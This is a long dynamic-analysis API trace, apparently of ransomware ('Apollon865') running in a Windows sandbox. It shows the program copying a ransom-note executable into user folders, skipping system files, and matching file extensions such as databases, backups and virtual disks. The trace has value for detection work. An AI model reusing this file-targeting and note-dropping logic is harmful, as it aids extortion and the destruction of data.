	[0036.314] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.314] lstrlenW (lpString="trm") returned 3
	[0036.315] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0036.315] lstrlenW (lpString="udb") returned 3
	[0036.315] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0036.315] lstrlenW (lpString="udl") returned 3
	[0036.315] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0036.315] lstrlenW (lpString="usr") returned 3
	[0036.315] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0036.315] lstrlenW (lpString="v12") returned 3
	[0036.315] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0036.315] lstrlenW (lpString="vis") returned 3
	[0036.315] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0036.315] lstrlenW (lpString="vpd") returned 3
	[0036.315] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0036.315] lstrlenW (lpString="vvv") returned 3
	[0036.315] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0036.315] lstrlenW (lpString="wdb") returned 3
	[0036.315] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0036.315] lstrlenW (lpString="wmdb") returned 4
	[0036.315] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0036.315] lstrlenW (lpString="wrk") returned 3
	[0036.315] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0036.315] lstrlenW (lpString="xdb") returned 3
	[0036.315] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0036.315] lstrlenW (lpString="xld") returned 3
	[0036.315] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0036.315] lstrlenW (lpString="xmlff") returned 5
	[0036.315] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0036.315] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de1ec50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2de1ec50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.315] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.315] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de1ec50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2de1ec50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0036.315] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0036.315] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7cd0
	[0036.315] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Templates", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates"
	[0036.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca410 | out: hHeap=0x580000) returned 1
	[0036.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7cc8 | out: hHeap=0x580000) returned 1
	[0036.316] lstrlenW (lpString="C:\\Users\\Default\\Templates") returned 26
	[0036.316] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates"
	[0036.316] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.316] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\templates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.464] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.464] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de1ec50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2de1ec50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0036.464] GetLastError () returned 0x5
	[0036.464] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Templates\\* FindFirstFile error 5\r\n") returned 60
	[0036.464] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Templates\\* FindFirstFile error 5\r\n") returned 60
	[0036.464] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0036.464] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x54f
	[0036.464] WriteFile (in: hFile=0x104, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3c, lpOverlapped=0x0) returned 1
	[0036.465] CloseHandle (hObject=0x104) returned 1
	[0036.466] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7cb0
	[0036.466] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Start Menu", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu"
	[0036.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca3d0 | out: hHeap=0x580000) returned 1
	[0036.466] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0036.466] lstrlenW (lpString="C:\\Users\\Default\\Start Menu") returned 27
	[0036.466] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu"
	[0036.466] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.466] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.482] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.482] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de1ec50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2de1ec50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0036.482] GetLastError () returned 0x5
	[0036.482] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Start Menu\\* FindFirstFile error 5\r\n") returned 61
	[0036.482] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Start Menu\\* FindFirstFile error 5\r\n") returned 61
	[0036.482] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0036.482] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x58b
	[0036.482] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3d, lpOverlapped=0x0) returned 1
	[0036.482] CloseHandle (hObject=0xc0) returned 1
	[0036.483] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0036.483] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\SendTo", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo"
	[0036.483] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7f08 | out: hHeap=0x580000) returned 1
	[0036.483] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0036.483] lstrlenW (lpString="C:\\Users\\Default\\SendTo") returned 23
	[0036.483] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo"
	[0036.483] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.483] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\sendto\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.494] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.494] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de1ec50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2de1ec50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0036.494] GetLastError () returned 0x5
	[0036.494] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\SendTo\\* FindFirstFile error 5\r\n") returned 57
	[0036.494] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\SendTo\\* FindFirstFile error 5\r\n") returned 57
	[0036.494] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0036.494] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5c8
	[0036.494] WriteFile (in: hFile=0x118, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x39, lpOverlapped=0x0) returned 1
	[0036.494] CloseHandle (hObject=0x118) returned 1
	[0036.495] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c70
	[0036.495] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Searches", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Searches") returned="C:\\Users\\Default\\Searches"
	[0036.495] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca390 | out: hHeap=0x580000) returned 1
	[0036.495] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c68 | out: hHeap=0x580000) returned 1
	[0036.495] lstrlenW (lpString="C:\\Users\\Default\\Searches") returned 25
	[0036.495] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Searches" | out: lpString1="C:\\Users\\Default\\Searches") returned="C:\\Users\\Default\\Searches"
	[0036.495] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.495] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\searches\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.508] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.508] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Searches\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2df758b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2df758b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0036.508] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.508] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.508] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.508] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2df758b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2df758b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.508] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.508] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.508] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.508] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.508] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.508] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.508] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.508] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.508] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.508] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.508] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.508] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.508] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.508] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.508] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.508] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.509] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.509] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.509] lstrlenW (lpString="desktop.ini") returned 11
	[0036.509] lstrlenW (lpString="C:\\Users\\Default\\Searches\\*") returned 27
	[0036.509] lstrcpyW (in: lpString1=0x2d3e584, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.509] lstrlenW (lpString="desktop.ini") returned 11
	[0036.509] lstrlenW (lpString="Apollon865") returned 10
	[0036.509] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.509] lstrlenW (lpString=".dll") returned 4
	[0036.509] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.509] lstrlenW (lpString=".lnk") returned 4
	[0036.509] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.509] lstrlenW (lpString=".ini") returned 4
	[0036.509] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.509] lstrlenW (lpString=".sys") returned 4
	[0036.509] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.509] lstrlenW (lpString="desktop.ini") returned 11
	[0036.509] lstrlenW (lpString="bak") returned 3
	[0036.509] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0036.509] lstrlenW (lpString="ba_") returned 3
	[0036.509] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0036.509] lstrlenW (lpString="dbb") returned 3
	[0036.509] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0036.509] lstrlenW (lpString="vmdk") returned 4
	[0036.509] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0036.509] lstrlenW (lpString="rar") returned 3
	[0036.509] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0036.509] lstrlenW (lpString="zip") returned 3
	[0036.509] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0036.509] lstrlenW (lpString="tgz") returned 3
	[0036.509] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0036.509] lstrlenW (lpString="vbox") returned 4
	[0036.509] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0036.509] lstrlenW (lpString="vdi") returned 3
	[0036.509] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0036.509] lstrlenW (lpString="vhd") returned 3
	[0036.509] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0036.510] lstrlenW (lpString="vhdx") returned 4
	[0036.510] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0036.510] lstrlenW (lpString="avhd") returned 4
	[0036.510] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0036.510] lstrlenW (lpString="db") returned 2
	[0036.510] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0036.510] lstrlenW (lpString="db2") returned 3
	[0036.510] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0036.510] lstrlenW (lpString="db3") returned 3
	[0036.510] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0036.510] lstrlenW (lpString="dbf") returned 3
	[0036.510] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0036.510] lstrlenW (lpString="mdf") returned 3
	[0036.510] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0036.510] lstrlenW (lpString="mdb") returned 3
	[0036.510] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0036.510] lstrlenW (lpString="sql") returned 3
	[0036.510] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0036.510] lstrlenW (lpString="sqlite") returned 6
	[0036.510] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0036.510] lstrlenW (lpString="sqlite3") returned 7
	[0036.510] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0036.510] lstrlenW (lpString="sqlitedb") returned 8
	[0036.510] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0036.510] lstrlenW (lpString="xml") returned 3
	[0036.510] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0036.510] lstrlenW (lpString="$er") returned 3
	[0036.510] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0036.510] lstrlenW (lpString="4dd") returned 3
	[0036.510] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0036.510] lstrlenW (lpString="4dl") returned 3
	[0036.510] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0036.510] lstrlenW (lpString="^^^") returned 3
	[0036.510] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0036.510] lstrlenW (lpString="abs") returned 3
	[0036.510] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0036.510] lstrlenW (lpString="abx") returned 3
	[0036.510] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0036.511] lstrlenW (lpString="accdb") returned 5
	[0036.511] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0036.511] lstrlenW (lpString="accdc") returned 5
	[0036.511] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0036.511] lstrlenW (lpString="accde") returned 5
	[0036.511] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0036.511] lstrlenW (lpString="accdr") returned 5
	[0036.511] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0036.511] lstrlenW (lpString="accdt") returned 5
	[0036.511] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0036.511] lstrlenW (lpString="accdw") returned 5
	[0036.511] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0036.511] lstrlenW (lpString="accft") returned 5
	[0036.511] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0036.511] lstrlenW (lpString="adb") returned 3
	[0036.511] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.511] lstrlenW (lpString="adb") returned 3
	[0036.511] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.511] lstrlenW (lpString="ade") returned 3
	[0036.511] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0036.511] lstrlenW (lpString="adf") returned 3
	[0036.511] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0036.511] lstrlenW (lpString="adn") returned 3
	[0036.511] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0036.511] lstrlenW (lpString="adp") returned 3
	[0036.511] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0036.511] lstrlenW (lpString="alf") returned 3
	[0036.511] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0036.511] lstrlenW (lpString="ask") returned 3
	[0036.511] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0036.511] lstrlenW (lpString="btr") returned 3
	[0036.511] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0036.511] lstrlenW (lpString="cat") returned 3
	[0036.511] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0036.511] lstrlenW (lpString="cdb") returned 3
	[0036.511] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0036.511] lstrlenW (lpString="ckp") returned 3
	[0036.512] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0036.512] lstrlenW (lpString="cma") returned 3
	[0036.512] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0036.512] lstrlenW (lpString="cpd") returned 3
	[0036.512] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0036.512] lstrlenW (lpString="dacpac") returned 6
	[0036.512] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0036.512] lstrlenW (lpString="dad") returned 3
	[0036.512] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0036.512] lstrlenW (lpString="dadiagrams") returned 10
	[0036.512] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0036.512] lstrlenW (lpString="daschema") returned 8
	[0036.512] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0036.512] lstrlenW (lpString="db-journal") returned 10
	[0036.512] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0036.512] lstrlenW (lpString="db-shm") returned 6
	[0036.512] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0036.512] lstrlenW (lpString="db-wal") returned 6
	[0036.512] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0036.512] lstrlenW (lpString="dbc") returned 3
	[0036.512] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0036.512] lstrlenW (lpString="dbs") returned 3
	[0036.512] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0036.512] lstrlenW (lpString="dbt") returned 3
	[0036.512] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0036.512] lstrlenW (lpString="dbv") returned 3
	[0036.512] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0036.512] lstrlenW (lpString="dbx") returned 3
	[0036.512] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0036.512] lstrlenW (lpString="dcb") returned 3
	[0036.512] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0036.512] lstrlenW (lpString="dct") returned 3
	[0036.512] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0036.512] lstrlenW (lpString="dcx") returned 3
	[0036.512] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0036.512] lstrlenW (lpString="ddl") returned 3
	[0036.512] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0036.512] lstrlenW (lpString="dlis") returned 4
	[0036.512] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0036.513] lstrlenW (lpString="dp1") returned 3
	[0036.513] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0036.513] lstrlenW (lpString="dqy") returned 3
	[0036.513] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0036.513] lstrlenW (lpString="dsk") returned 3
	[0036.513] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0036.513] lstrlenW (lpString="dsn") returned 3
	[0036.513] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0036.513] lstrlenW (lpString="dtsx") returned 4
	[0036.513] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0036.513] lstrlenW (lpString="dxl") returned 3
	[0036.513] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
